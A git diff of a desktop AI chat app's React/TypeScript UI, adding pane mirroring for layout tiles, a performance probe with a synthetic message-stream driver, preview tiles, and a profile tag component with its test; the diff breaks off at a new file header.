+      data-composer-target={composerScope.target}
+      data-session-anchor={sessionAnchor}
+    >
+      <Backdrop />
+      {/* Tiles get their chrome from the layout zone (chip strip); the modal
+          prompt overlays stay active-session-scoped in the primary surface. */}
+      {isPrimary && (
+        <ChatHeader
+          activeSessionId={activeSessionId}
+          isRoutedSessionView={isRoutedSessionView}
+          onDeleteSelectedSession={onDeleteSelectedSession}
+          onToggleSelectedPin={onToggleSelectedPin}
+          selectedSessionId={selectedSessionId}
+        />
+      )}
+
+      {/* Mounted for the primary AND every tile, each scoped to its own session
+          so a tiled/background session's blocking prompt surfaces instead of
+          stalling to timeout. */}
+      <PromptOverlays sessionId={activeSessionId} />
+
+      <ChatRuntimeBoundary
+        busy={busy}
+        onCancel={haltRun}
+        onEdit={onEdit}
+        onReload={onReload}
+        onThreadMessagesChange={onThreadMessagesChange}
+        suppressMessages={routeSessionMismatch}
+      >
+        <div
+          className="relative min-h-0 max-w-full flex-1 overflow-hidden bg-(--ui-chat-surface-background) contain-[layout_paint]"
+          data-slot="composer-bounds"
+          {...dropHandlers}
+        >
+          <Thread
+            clampToComposer={showChatBar}
+            cwd={currentCwd}
+            gateway={gateway}
+            intro={showIntro ? { personality: introPersonality, seed: introSeed } : undefined}
+            loading={threadLoading}
+            onBranchInNewChat={onBranchInNewChat}
+            onCancel={haltRun}
+            onDismissError={onDismissError}
+            onRestoreToMessage={onRestoreToMessage}
+            sessionId={activeSessionId}
+            sessionKey={threadKey}
+          />
+          {resumeExhausted && routedSessionId && (
+            <div className="absolute inset-0 z-10 grid place-items-center bg-(--ui-chat-surface-background) px-8 py-10">
+              <ErrorState
+                className="max-w-sm"
+                description={t.desktop.resumeStrandedBody}
+                title={t.desktop.resumeStrandedTitle}
+              >
+                <div className="grid justify-items-center">
+                  <Button onClick={() => onRetryResume(routedSessionId)} size="sm" variant="outline">
+                    {t.desktop.resumeRetry}
+                  </Button>
+                </div>
+              </ErrorState>
+            </div>
+          )}
+          {showChatBar && <ScrollToBottomButton />}
+          {/* Vibe hearts rise from the composer only when no pet is out (else
+              they play on the pet). Fired by the core `reaction` event. */}
+          {!petPresent && (
+            <HeartField
+              className="absolute inset-x-0 z-30"
+              config={COMPOSER_HEART_CONFIG}
+              style={{
+                top: 0,
+                bottom: 'calc(var(--composer-measured-height) + 0.25rem)'
+              }}
+            />
+          )}
+          {/* A session drag hovering an EDGE hands the visual to the zone
+              target; the link overlay shows only for the center region. */}
+          <ChatDropOverlay kind={overlayKind} />
+          <ChatSwapOverlay profile={gatewaySwapTarget} />
+        </div>
+        {/* Composer renders OUTSIDE the contain:[layout paint] wrapper above:
+            that wrapper is a containing block for — and clips — position:fixed
+            descendants, so the popped-out (fixed) composer would anchor to the
+            chat column (which shifts/resizes with the sidebars) and get clipped
+            off-screen instead of floating against the viewport. As a sibling it
+            anchors to the outer relative container instead: docked is absolute
+            (identical placement), floating resolves against the viewport. Both
+            states stay mounted here, so dock⇄float never remounts the editor. */}
+        {showChatBar && (
+          <Suspense fallback={<ChatBarFallback />}>
+            <ChatBar
+              busy={busy}
+              cwd={currentCwd}
+              disabled={!gatewayOpen}
+              focusKey={activeSessionId}
+              gateway={gateway}
+              maxRecordingSeconds={maxVoiceRecordingSeconds}
+              onAddContextRef={onAddContextRef}
+              onAddUrl={onAddUrl}
+              onAttachDroppedItems={onAttachDroppedItems}
+              onAttachImageBlob={onAttachImageBlob}
+              onCancel={onCancel}
+              onPasteClipboardImage={onPasteClipboardImage}
+              onPickFiles={onPickFiles}
+              onPickFolders={onPickFolders}
+              onPickImages={onPickImages}
+              onRemoveAttachment={onRemoveAttachment}
+              onSteer={onSteer}
+              onSubmit={onSubmit}
+              onTranscribeAudio={onTranscribeAudio}
+              queueSessionKey={queueSessionKey}
+              sessionId={activeSessionId}
+              state={chatBarState}
+            />
+          </Suspense>
+        )}
+      </ChatRuntimeBoundary>
+    </div>
+  )
+})
diff --git a/ui-desktop/src/app/chat/pane-mirror.ts b/ui-desktop/src/app/chat/pane-mirror.ts
new file mode 100644
index 000000000..03c7e5bc3
--- /dev/null
+++ b/ui-desktop/src/app/chat/pane-mirror.ts
@@ -0,0 +1,136 @@
+/**
+ * Mirror a reactive list of "tiles" into layout-tree pane contributions:
+ * register a pane per tile, refresh its title in place, and dispose panes whose
+ * tile is gone. This is the shared bookkeeping — a keyed registry, a wanted-set
+ * diff, a one-time pane closer — behind BOTH session tiles and route (page)
+ * tiles; each supplies only what differs (key, title, render, close, edge).
+ */
+
+import type { ReadableAtom } from 'nanostores'
+import type { ReactElement, ReactNode, PointerEvent as ReactPointerEvent } from 'react'
+
+import type { DoubleTapContext } from '@/components/pane-shell/tree/renderer/drag-session'
+import { registerPaneCloser, removeTreePane, treePanesWithPrefix } from '@/components/pane-shell/tree/store'
+import type { PaneStripTool } from '@/components/ui/pane-tab'
+import { registry } from '@/contrib/registry'
+import type { TileDock } from '@/store/session-states'
+
+export interface PaneMirror<T> {
+  /** Reactive source list. */
+  source: ReadableAtom<T[]>
+  /** Extra atoms whose changes should re-sync (e.g. titles living elsewhere). */
+  also?: ReadableAtom<unknown>[]
+  /** Stable key + pane-id seed for a tile. */
+  key: (tile: T) => string
+  /** Pane-id namespace — the id is `${prefix}:${key}`. */
+  prefix: string
+  /** Dock on adoption (default right; `center` = stack into anchor's zone). */
+  dir?: (tile: T) => TileDock | undefined
+  /** Pane to dock against (default `workspace`) — a drop's target zone. */
+  anchor?: (tile: T) => string | undefined
+  /** Center docks: the strip slot (stack before this pane id). */
+  before?: (tile: T) => null | string | undefined
+  minWidth: string
+  title: (key: string) => string
+  /** Custom lead NODE for the tile's tab (rendered before the label). A live,
+   *  self-subscribing component (e.g. a session's status dot) so the strip needn't
+   *  re-sync on status/color change — only `title` drives re-registration. */
+  tabLead?: (key: string) => ReactNode
+  /** Glyph buttons the tile contributes to the strip, after the last tab (where
+   *  "+" sits), while it is the ACTIVE pane — e.g. a preview's console /
+   *  DevTools toggles. DATA, not markup: the strip's `PaneStripGlyph` owns the
+   *  styling so every glyph on every strip matches. */
+  stripTools?: (key: string) => readonly PaneStripTool[]
+  render: (key: string) => ReactNode
+  /** Wrap the tile's TAB (domain context menu — session verbs). */
+  tabWrap?: (key: string, tab: ReactElement) => ReactNode
+  /** Override the tile's TAB drag (session drop language: stack/split/link).
+   *  Returns whether it took the drag (see PaneChrome.tabDrag). */
+  tabDrag?: (
+    key: string,
+    event: ReactPointerEvent<HTMLElement>,
+    onTap: () => void,
+    double?: DoubleTapContext
+  ) => boolean
+  /** Wired as the pane's closer (tab Close). */
+  close: (key: string) => void
+}
+
+/** Build a `watch*` fn: syncs once, then re-syncs on every source/also change.
+ *  Module-level state lives in the returned closure, so call it once per app. */
+export function paneMirror<T>(cfg: PaneMirror<T>): () => void {
+  const registered = new Map<string, { dispose: () => void; title: string }>()
+  const paneId = (key: string) => `${cfg.prefix}:${key}`
+
+  const sync = () => {
+    const tiles = cfg.source.get()
+    const wanted = new Set(tiles.map(cfg.key))
+
+    for (const tile of tiles) {
+      const key = cfg.key(tile)
+      const title = cfg.title(key)
+      const current = registered.get(key)
+
+      // register() replaces same-id in place — safe for live title refreshes.
+      if (current && current.title === title) {
+        continue
+      }
+
+      const dispose = registry.register({
+        id: paneId(key),
+        area: 'panes',
+        title,
+        data: {
+          tabLead: cfg.tabLead ? () => cfg.tabLead!(key) : undefined,
+          stripTools: cfg.stripTools ? () => cfg.stripTools!(key) : undefined,
+          dock: {
+            before: cfg.before?.(tile),
+            pane: cfg.anchor?.(tile) ?? 'workspace',
+            pos: cfg.dir?.(tile) ?? 'right'
+          },
+          minWidth: cfg.minWidth,
+          // Every mirrored tile is a full workspace surface docked beside main —
+          // and closeable, which is what keeps its tab when it lands in a zone of
+          // its own (see lone-header.ts).
+          placement: 'main',
+          tabDrag: cfg.tabDrag
+            ? (event: ReactPointerEvent<HTMLElement>, onTap: () => void, double?: DoubleTapContext) =>
+                cfg.tabDrag!(key, event, onTap, double)
+            : undefined, // returns boolean (handled) — see PaneChrome.tabDrag
+          tabWrap: cfg.tabWrap ? (tab: ReactElement) => cfg.tabWrap!(key, tab) : undefined
+        },
+        render: () => cfg.render(key)
+      })
+
+      registered.set(key, { dispose, title })
+
+      if (!current) {
+        registerPaneCloser(paneId(key), () => cfg.close(key))
+      }
+    }
+
+    for (const [key, entry] of registered) {
+      if (!wanted.has(key)) {
+        entry.dispose()
+        registered.delete(key)
+        removeTreePane(paneId(key))
+      }
+    }
+
+    // Prune tree panes the SHARED tree persisted for a tile we never registered
+    // this session and that isn't wanted now — a profile switch reloads with the
+    // other profile's tile panes still stacked in. (`registered` is empty after a
+    // reload, so the loop above can't catch these.)
+    for (const id of treePanesWithPrefix(`${cfg.prefix}:`)) {
+      if (!wanted.has(id.slice(cfg.prefix.length + 1))) {
+        removeTreePane(id)
+      }
+    }
+  }
+
+  return () => {
+    sync()
+    cfg.source.listen(sync)
+    cfg.also?.forEach(atom => atom.listen(sync))
+  }
+}
diff --git a/ui-desktop/src/app/chat/perf-probe.tsx b/ui-desktop/src/app/chat/perf-probe.tsx
new file mode 100644
index 000000000..56b540f8a
--- /dev/null
+++ b/ui-desktop/src/app/chat/perf-probe.tsx
@@ -0,0 +1,464 @@
+import { Profiler, type ProfilerOnRenderCallback, type ReactNode } from 'react'
+
+import { $terminalTakeover, setTerminalTakeover } from '@/app/right-sidebar/store'
+import { writeAgentTerminalChunk } from '@/app/right-sidebar/terminal/agent-terminal-stream'
+import {
+  $activeTerminalId,
+  $terminals,
+  createTerminal,
+  ensureAgentTerminal,
+  selectTerminal,
+  type TerminalEntry
+} from '@/app/right-sidebar/terminal/terminals'
+import { $repoStatusByCwd } from '@/store/coding-status'
+import { $gateway } from '@/store/gateway'
+import { $currentCwd, $messages, setBusy, setCurrentCwdTransient, setMessages } from '@/store/session'
+
+type Sample = {
+  id: string
+  phase: string
+  actualDuration: number
+  baseDuration: number
+  startTime: number
+  commitTime: number
+}
+
+type SyntheticDriverHandle = { stop: () => void }
+
+declare global {
+  interface Window {
+    __PERF_PROBE__?: {
+      samples: Sample[]
+      enabled: boolean
+      clear: () => void
+      summary: () => Record<string, { count: number; total: number; max: number; p50: number; p95: number }>
+    }
+    __PERF_DRIVE__?: {
+      /** Inject an assistant message and grow it by `chunk` every `intervalMs`. Returns a stop handle. */
+      stream: (opts?: { chunk?: string; intervalMs?: number; totalTokens?: number }) => SyntheticDriverHandle
+      /**
+       * Replace the transcript with `turns` synthetic user/assistant pairs of
+       * realistic mixed markdown, then resolve with the ms elapsed from the
+       * `setMessages` commit to the second animation frame (a mount+paint
+       * proxy). Used by the `transcript` perf scenario. `reset()` restores.
+       */
+      loadTranscript: (turns?: number) => Promise<number>
+      /**
+       * Whether the active gateway socket is open. The perf harness waits on
+       * this before measuring so background reconnect churn (a booting/absent
+       * backend) doesn't contaminate frame-pacing numbers.
+       */
+      connected: () => boolean
+      /** Mount files + multiple xterms for the synthetic right-pane scenario. */
+      rightPaneSetup: (opts: { cwd: string; terminals?: number }) => { procId: string; terminalIds: string[] }
+      rightPaneGit: (path: string, kind?: 'added' | 'conflicted' | 'modified') => void
+      rightPaneReset: () => void
+      rightPaneSelect: (id: string) => void
+      rightPaneWrite: (procId: string, chunk: string) => void
+      reset: () => void
+      snapshotMsgs: () => number
+    }
+  }
+}
+
+if (typeof window !== 'undefined' && !window.__PERF_PROBE__) {
+  const samples: Sample[] = []
+  window.__PERF_PROBE__ = {
+    samples,
+    enabled: false,
+    clear: () => {
+      samples.length = 0
+    },
+    summary: () => {
+      const byId = new Map<string, number[]>()
+
+      for (const s of samples) {
+        const k = `${s.id}:${s.phase}`
+        const arr = byId.get(k) ?? []
+        arr.push(s.actualDuration)
+        byId.set(k, arr)
+      }
+
+      const out: Record<string, { count: number; total: number; max: number; p50: number; p95: number }> = {}
+
+      for (const [k, arr] of byId) {
+        arr.sort((a, b) => a - b)
+        const total = arr.reduce((a, b) => a + b, 0)
+        out[k] = {
+          count: arr.length,
+          total: Math.round(total * 100) / 100,
+          max: Math.round(arr[arr.length - 1] * 100) / 100,
+          p50: Math.round(arr[Math.floor(arr.length * 0.5)] * 100) / 100,
+          p95: Math.round(arr[Math.floor(arr.length * 0.95)] * 100) / 100
+        }
+      }
+
+      return out
+    }
+  }
+}
+
+const onRender: ProfilerOnRenderCallback = (id, phase, actualDuration, baseDuration, startTime, commitTime) => {
+  const probe = typeof window !== 'undefined' ? window.__PERF_PROBE__ : undefined
+
+  if (!probe || !probe.enabled) {
+    return
+  }
+
+  probe.samples.push({ id, phase, actualDuration, baseDuration, startTime, commitTime })
+
+  if (probe.samples.length > 5000) {
+    probe.samples.splice(0, probe.samples.length - 5000)
+  }
+}
+
+if (typeof window !== 'undefined' && !window.__PERF_DRIVE__) {
+  // Synthetic stream driver — pushes tokens through the live $messages atom so the
+  // assistant-ui runtime + react tree sees them exactly as a real LLM stream would.
+  // Driven by the perf harness (scripts/perf/) when no live LLM credit is available.
+  let baseline: ReturnType<typeof $messages.get> | null = null
+  let activeHandle: SyntheticDriverHandle | null = null
+
+  let rightPaneBaseline: null | {
+    activeTerminalId: null | string
+    cwd: string
+    repoStatusByCwd: ReturnType<typeof $repoStatusByCwd.get>
+    takeover: boolean
+    terminals: readonly TerminalEntry[]
+  } = null
+
+  const stop = () => {
+    activeHandle = null
+    setBusy(false)
+  }
+
+  const resetRightPane = () => {
+    if (!rightPaneBaseline) {
+      return
+    }
+
+    setTerminalTakeover(rightPaneBaseline.takeover)
+    $terminals.set(rightPaneBaseline.terminals)
+    $activeTerminalId.set(rightPaneBaseline.activeTerminalId)
+    $repoStatusByCwd.set(rightPaneBaseline.repoStatusByCwd)
+    setCurrentCwdTransient(rightPaneBaseline.cwd)
+    rightPaneBaseline = null
+  }
+
+  // One synthetic turn's worth of mixed markdown — prose, a list, a fenced
+  // code block, inline code, a link, and a short table — so a loaded transcript
+  // exercises the same render cost (Streamdown blocks, code cards) a real one
+  // would. Kept deterministic (seeded by index) so runs are comparable.
+  const syntheticTurn = (i: number): ReturnType<typeof $messages.get> => {
+    const user = {
+      id: `perf-u-${i}`,
+      role: 'user' as const,
+      parts: [
+        { type: 'text' as const, text: `Question ${i}: how does the widget in module ${i} handle back-pressure?` }
+      ],
+      timestamp: Date.now()
+    }
+
+    const assistant = {
+      id: `perf-a-${i}`,
+      role: 'assistant' as const,
+      parts: [
+        {
+          type: 'text' as const,
+          text: [
+            `## Answer ${i}`,
+            '',
+            `The widget buffers writes and applies a bounded queue. Key points for module \`${i}\`:`,
+            '',
+            '- It coalesces bursts into a single flush.',
+            '- Back-pressure propagates via a `Promise` that resolves on drain.',
+            '- See [the design note](https://example.com/design) for the state machine.',
+            '',
+            '```ts',
+            `function flush${i}(items: number[]) {`,
+            '  return items.reduce((a, b) => a + b, 0)',
+            '}',
+            '```',
+            '',
+            '| stage | cost |',
+            '|---|---|',
+            '| enqueue | O(1) |',
+            '| flush | O(n) |',
+            ''
+          ].join('\n')
+        }
+      ],
+      timestamp: Date.now(),
+      pending: false
+    }
+
+    return [user, assistant]
+  }
+
+  window.__PERF_DRIVE__ = {
+    snapshotMsgs: () => $messages.get().length,
+    connected: () => {
+      try {
+        return $gateway.get()?.connectionState === 'open'
+      } catch {
+        return false
+      }
+    },
+    rightPaneGit: (path, kind = 'modified') => {
+      const file = {
+        conflicted: kind === 'conflicted',
+        path,
+        staged: false,
+        unstaged: kind === 'modified',
+        untracked: kind === 'added'
+      }
+
+      const cwd = $currentCwd.get().trim()
+      $repoStatusByCwd.set({
+        ...$repoStatusByCwd.get(),
+        [cwd]: {
+          added: 0,
+          ahead: 0,
+          behind: 0,
+          branch: 'perf',
+          changed: 1,
+          conflicted: kind === 'conflicted' ? 1 : 0,
+          defaultBranch: 'main',
+          detached: false,
+          files: [file],
+          removed: 0,
+          staged: 0,
+          unstaged: kind === 'modified' ? 1 : 0,
+          untracked: kind === 'added' ? 1 : 0
+        }
+      })
+    },
+    rightPaneReset: resetRightPane,
+    rightPaneSelect: selectTerminal,
+    rightPaneSetup: ({ cwd, terminals = 3 }) => {
+      resetRightPane()
+      rightPaneBaseline = {
+        activeTerminalId: $activeTerminalId.get(),
+        cwd: $currentCwd.get(),
+        repoStatusByCwd: $repoStatusByCwd.get(),
+        takeover: $terminalTakeover.get(),
+        terminals: $terminals.get()
+      }
+
+      setCurrentCwdTransient(cwd)
+      const terminalIds = [createTerminal(cwd)]
+      let procId = ''
+
+      for (let index = 1; index < Math.max(1, terminals); index += 1) {
+        procId = `right-pane-perf-${Date.now()}-${index}`
+        const id = ensureAgentTerminal(procId, `perf output ${index}`)
+
+        if (id) {
+          terminalIds.push(id)
+        }
+      }
+
+      if (procId) {
+        selectTerminal(terminalIds.at(-1) ?? terminalIds[0])
+      }
+
+      setTerminalTakeover(true)
+
+      return { procId, terminalIds }
+    },
+    rightPaneWrite: (procId, chunk) => writeAgentTerminalChunk(procId, chunk),
+    loadTranscript: (turns = 200) => {
+      if (!baseline) {
+        baseline = $messages.get()
+      }
+
+      const next: ReturnType<typeof $messages.get> = []
+
+      for (let i = 0; i < turns; i += 1) {
+        next.push(...syntheticTurn(i))
+      }
+
+      const t0 = performance.now()
+      setMessages(next)
+
+      return new Promise<number>(resolve => {
+        requestAnimationFrame(() => {
+          requestAnimationFrame(() => {
+            resolve(performance.now() - t0)
+          })
+        })
+      })
+    },
+    reset: () => {
+      activeHandle?.stop()
+      resetRightPane()
+
+      if (baseline) {
+        setMessages(baseline)
+      }
+
+      baseline = null
+      setBusy(false)
+    },
+    stream: ({
+      chunk = 'word ',
+      intervalMs = 16,
+      totalTokens = 400,
+      // Mimic `use-message-stream.scheduleDeltaFlush` — batch token deltas
+      // into at-most one $messages update every `flushMinMs` ms, exactly as
+      // the real gateway path does. With this on, the synthetic harness's
+      // numbers actually reflect what a real LLM stream of the same token
+      // rate would feel like. Set to 0 to bypass and apply every token
+      // immediately (worst-case).
+      flushMinMs = 0
+    }: { chunk?: string; intervalMs?: number; totalTokens?: number; flushMinMs?: number } = {}) => {
+      activeHandle?.stop()
+      const current = $messages.get()
+
+      if (!baseline) {
+        baseline = current
+      }
+
+      const msgId = `synthetic-${Date.now()}`
+      // Seed an empty assistant message — assistant-ui will see it grow.
+      setMessages([
+        ...current,
+        {
+          id: msgId,
+          role: 'assistant',
+          parts: [{ type: 'text', text: '' }],
+          timestamp: Date.now(),
+          pending: true
+        }
+      ])
+      setBusy(true)
+
+      let pushed = 0
+      let pendingDelta = ''
+      let lastFlushAt = 0
+      let timer: ReturnType<typeof setTimeout> | null = null
+      let flushHandle: number | null = null
+
+      const applyDelta = (delta: string) => {
+        if (!delta) {
+          return
+        }
+
+        setMessages(prev =>
+          prev.map(m => {
+            if (m.id !== msgId) {
+              return m
+            }
+
+            const head = m.parts.slice(0, -1)
+            const last = m.parts.at(-1)
+            const lastText = last && last.type === 'text' ? last.text : ''
+
+            return {
+              ...m,
+              parts: [...head, { type: 'text', text: lastText + delta }]
+            }
+          })
+        )
+      }
+
+      const flushNow = () => {
+        flushHandle = null
+        lastFlushAt = performance.now()
+        const delta = pendingDelta
+        pendingDelta = ''
+        applyDelta(delta)
+      }
+
+      const scheduleFlush = () => {
+        if (flushHandle !== null) {
+          return
+        }
+
+        if (flushMinMs <= 0) {
+          flushNow()
+
+          return
+        }
+
+        const since = performance.now() - lastFlushAt
+        const wait = Math.max(0, flushMinMs - since)
+        flushHandle =
+          wait <= 0 && typeof requestAnimationFrame === 'function'
+            ? requestAnimationFrame(flushNow)
+            : (setTimeout(flushNow, wait) as unknown as number)
+      }
+
+      const handle: SyntheticDriverHandle = {
+        stop: () => {
+          if (timer) {
+            clearTimeout(timer)
+          }
+
+          timer = null
+
+          if (flushHandle !== null) {
+            clearTimeout(flushHandle)
+            cancelAnimationFrame?.(flushHandle)
+          }
+
+          flushHandle = null
+
+          if (pendingDelta) {
+            applyDelta(pendingDelta)
+            pendingDelta = ''
+          }
+
+          activeHandle = null
+          // Mark message finalized.
+          setMessages(prev => prev.map(m => (m.id === msgId ? { ...m, pending: false } : m)))
+          setBusy(false)
+        }
+      }
+
+      activeHandle = handle
+
+      const tick = () => {
+        if (activeHandle !== handle) {
+          return
+        }
+
+        if (pushed >= totalTokens) {
+          if (pendingDelta) {
+            flushNow()
+          }
+
+          handle.stop()
+
+          return
+        }
+
+        pushed += 1
+
+        if (flushMinMs > 0) {
+          pendingDelta += chunk
+          scheduleFlush()
+        } else {
+          applyDelta(chunk)
+        }
+
+        timer = setTimeout(tick, intervalMs)
+      }
+
+      timer = setTimeout(tick, intervalMs)
+
+      return handle
+    }
+  }
+
+  // Suppress dead-import warning.
+  void stop
+}
+
+export function PerfProbe({ id, children }: { id: string; children: ReactNode }) {
+  return (
+    <Profiler id={id} onRender={onRender}>
+      {children}
+    </Profiler>
+  )
+}
diff --git a/ui-desktop/src/app/chat/preview-tile.tsx b/ui-desktop/src/app/chat/preview-tile.tsx
new file mode 100644
index 000000000..dc59a6f60
--- /dev/null
+++ b/ui-desktop/src/app/chat/preview-tile.tsx
@@ -0,0 +1,143 @@
+/**
+ * PREVIEW TILES — every open preview (a file, a URL, an artifact) rendered as a
+ * layout-tree pane, the preview analog of session and route tiles.
+ *
+ * The rail used to bring its OWN tab strip: a second bar beside the zone's own,
+ * at a different height, with its own close menu and its own label casing. It
+ * predated the layout tree. Now `$previewTabs` mirrors into pane contributions
+ * through the same `paneMirror` the other tiles use, so a preview tab IS a zone
+ * tab — same strip, same drag/stack/split, same ⌘W, same right-click verbs, and
+ * one bar instead of two.
+ */
+
+import { findGroup } from '@/components/pane-shell/tree/model'
+import { $activeTreeGroup, $layoutTree, revealTreePane } from '@/components/pane-shell/tree/store'
+import { FileTypeIcon } from '@/components/ui/file-type-icon'
+import { ToolIcon } from '@/components/ui/tool-icon'
+import { $rightRailActiveTabId, type RightRailTabId, selectRightRailTab } from '@/store/layout'
+import { $previewTabs, closeRightRailTab, type PreviewTarget } from '@/store/preview'
+
+import { paneMirror } from './pane-mirror'
+import { PreviewTilePane } from './right-rail/preview'
+import { forgetPreviewStripTools, previewStripTools } from './right-rail/preview-strip-tools'
+
+/** The target behind a tile id, or null once its tab is gone. */
+function targetFor(tabId: string): PreviewTarget | null {
+  return $previewTabs.get().find(tab => tab.id === tabId)?.target ?? null
+}
+
+/** Tab title. A URL is a BROWSER — the tab names the surface, not the page, so
+ *  it doesn't rename itself on every navigation. A file names the file; an
+ *  artifact is titled rather than located, so its label is the whole name. */
+function previewTitle(tabId: string): string {
+  const target = targetFor(tabId)
+
+  if (!target) {
+    return 'Preview'
+  }
+
+  if (target.kind === 'url') {
+    return 'Browser'
+  }
+
+  if (target.kind === 'artifact') {
+    return target.label || 'Preview'
+  }
+
+  const value = target.label || target.path || target.source || target.url
+  const tail = value.split(/[\\/]/).filter(Boolean).at(-1)
+
+  return tail || value || 'Preview'
+}
+
+/** The tab's lead glyph — the same file/tool icon family the file tree and code
+ *  fences resolve through, so a `.tsx` peek and its sidebar row agree. */
+function PreviewTabLead({ tabId }: { tabId: string }) {
+  const target = targetFor(tabId)
+
+  if (!target) {
+    return null
+  }
+
+  if (target.kind === 'artifact') {
+    return <ToolIcon className="opacity-70" name="sparkle" size="0.6875rem" />
+  }
+
+  if (target.kind === 'url') {
+    return <ToolIcon className="opacity-70" name="globe" size="0.6875rem" />
+  }
+
+  return <FileTypeIcon className="opacity-70" path={target.path || target.url} size="0.6875rem" />
+}
+
+const PREVIEW_TILE_PREFIX = 'preview-tile'
+
+/** Keep pane contributions mirroring `$previewTabs`, keep the store's selection
+ *  and the tree's active pane agreeing, and front a tile when its tab is
+ *  selected. Call once from the root. */
+export function watchPreviewTiles(): void {
+  watchPreviewTileMirror()
+
+  // The reveal analog of session tiles (session-states calls revealTreePane on
+  // open): `openPreview` selects the tab, and the TREE must front its pane —
+  // un-minimize, un-hide, activate in its zone. Both stores, because re-opening
+  // the already-active tab changes only `$previewTabs` (fresh tab object), while
+  // switching tabs changes only the active id.
+  const reveal = () => {
+    const tabId = $rightRailActiveTabId.get()
+
+    if (tabId && targetFor(tabId)) {
+      revealTreePane(`${PREVIEW_TILE_PREFIX}:${tabId}`)
+    }
+  }
+
+  $rightRailActiveTabId.listen(reveal)
+  $previewTabs.listen(reveal)
+
+  // And the reverse: clicking a preview TAB activates its pane in the TREE
+  // only, so the store's selection must follow or `$previewTarget` (⌘L quote
+  // labels, the titlebar's has-preview state) keeps reporting the previous
+  // tab. Same derivation `$focusedStoredSessionId` uses: the interacted zone's
+  // active pane names the tab. Converges with `reveal` — re-selecting the id
+  // the tree already fronts is a no-op in both directions.
+  const follow = () => {
+    const tree = $layoutTree.get()
+    const groupId = $activeTreeGroup.get()
+    const active = groupId && tree ? findGroup(tree, groupId)?.active : undefined
+
+    if (!active?.startsWith(`${PREVIEW_TILE_PREFIX}:`)) {
+      return
+    }
+
+    const tabId = active.slice(PREVIEW_TILE_PREFIX.length + 1) as RightRailTabId
+
+    if (targetFor(tabId) && $rightRailActiveTabId.get() !== tabId) {
+      selectRightRailTab(tabId)
+    }
+  }
+
+  $layoutTree.listen(follow)
+  $activeTreeGroup.listen(follow)
+}
+
+const watchPreviewTileMirror = paneMirror<{ id: string }>({
+  source: $previewTabs,
+  key: tab => tab.id,
+  prefix: PREVIEW_TILE_PREFIX,
+  // Identical to route (page) tiles: its own zone docked beside main, sized by
+  // the split weights. NOT anchored to the file tree — the old rail was a
+  // files-adjacent strip, and carrying that over welded preview into the file
+  // browser's zone, so ⌘J (toggle file browser) took the preview with it.
+  dir: () => 'right',
+  minWidth: '22rem',
+  title: previewTitle,
+  tabLead: tabId => <PreviewTabLead tabId={tabId} />,
+  // Console + DevTools as bare strip glyphs after the last tab, where "+" sits.
+  // Only a URL preview has a webview behind it, so a file/artifact tab gets none.
+  stripTools: tabId => (targetFor(tabId)?.kind === 'url' ? previewStripTools(tabId) : []),
+  render: tabId => <PreviewTilePane tabId={tabId} />,
+  close: tabId => {
+    forgetPreviewStripTools(tabId)
+    closeRightRailTab(tabId)
+  }
+})
diff --git a/ui-desktop/src/app/chat/profile-tag.test.tsx b/ui-desktop/src/app/chat/profile-tag.test.tsx
new file mode 100644
index 000000000..e09f8b331
--- /dev/null
+++ b/ui-desktop/src/app/chat/profile-tag.test.tsx
@@ -0,0 +1,49 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { atom } from 'nanostores'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+// Keep store/profile's side-effecting imports inert (gateway socket layer +
+// REST client) — same seam as store/profile.test.ts.
+vi.mock('@/store/gateway', () => ({
+  $gateway: atom<unknown>(null),
+  ensureGatewayForProfile: vi.fn(async () => undefined)
+}))
+vi.mock('@/clawcodex', () => ({
+  getProfiles: vi.fn(async () => ({ profiles: [] })),
+  setApiRequestProfile: vi.fn()
+}))
+vi.mock('@/lib/query-client', () => ({ queryClient: { invalidateQueries: vi.fn() } }))
+vi.mock('@/store/starmap', () => ({ resetStarmapGraph: vi.fn() }))
+
+const { ProfileTag } = await import('./profile-tag')
+const { setProfileColor } = await import('@/store/profile')
+
+afterEach(cleanup)
+
+describe('ProfileTag', () => {
+  it('shows the profile initial with an accessible owner label', () => {
+    render(<ProfileTag profile="xavier" />)
+
+    const tag = screen.getByRole('img', { name: 'Profile: xavier' })
+    expect(tag.textContent).toBe('x')
+  })
+
+  it('normalizes an empty profile to default and stays neutral', () => {
+    render(<ProfileTag profile="" />)
+
+    const tag = screen.getByRole('img', { name: 'Profile: default' })
+    expect(tag.textContent).toBe('d')
+    // Default/root profile carries no identity color.
+    expect(tag.style.color).toBe('')
+  })
+
+  it('uses the profile identity color (user override wins)', () => {
+    setProfileColor('xavier', 'hsl(120 68% 58%)')
+
+    render(<ProfileTag profile="xavier" />)
+
+    const tag = screen.getByRole('img', { name: 'Profile: xavier' })
+    // jsdom normalizes hsl() to rgb(); assert the override landed, not the format.
+    expect(tag.style.color).toBe('rgb(75, 221, 75)')
+  })
+})
diff --git a/ui-desktop/src/app/chat/profile-tag.tsx b/ui-desktop/src/app/chat/profile-tag.tsx
new file mode 100644
index 000000000..8cb3e38ac
--- /dev/null
+++ b/ui-desktop/src/app/chat/profile-tag.tsx
@@ -0,0 +1,36 @@
+import { useStore } from '@nanostores/react'
+
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { profileColorSoft, resolveProfileColor } from '@/lib/profile-color'
+import { cn } from '@/lib/utils'
+import { $profileColors, normalizeProfileKey } from '@/store/profile'
+
+/** Owning-profile chip: soft profile-tint square with the initial, tooltip +
+ *  accessible label carrying the full name. Same visual language as the
+ *  profile rail; the default profile stays neutral. Identity, not status —
+ *  session state dots keep their own semantics (#66003). */
+export function ProfileTag({ className, profile }: { className?: string; profile: null | string | undefined }) {
+  const { t } = useI18n()
+  const colors = useStore($profileColors)
+  const key = normalizeProfileKey(profile)
+  const color = resolveProfileColor(key, colors)
+  const hue = color ?? 'var(--ui-text-quaternary)'
+  const label = t.sidebar.row.ownedByProfile(key)
+
+  return (
+    <Tip label={label}>
+      <span
+        aria-label={label}
+        className={cn(
+          'grid size-4 shrink-0 place-items-center rounded-[3px] text-[0.5rem] font-semibold uppercase leading-none',
+          className
+        )}
+        role="img"
+        style={{ backgroundColor: profileColorSoft(hue, 22), color: color ?? undefined }}
+      >
+        {key.replace(/[^a-z0-9]/gi, '').charAt(0) || '?'}
+      </span>
+    </Tip>
+  )
+}
diff --git a/ui-desktop/src/app/chat/right-rail/index.ts b/ui-desktop/src/app/chat/right-rail/index.ts
new file mode 100644
index 000000000..089dc605b
--- /dev/null
+++ b/ui-desktop/src/app/chat/right-rail/index.ts
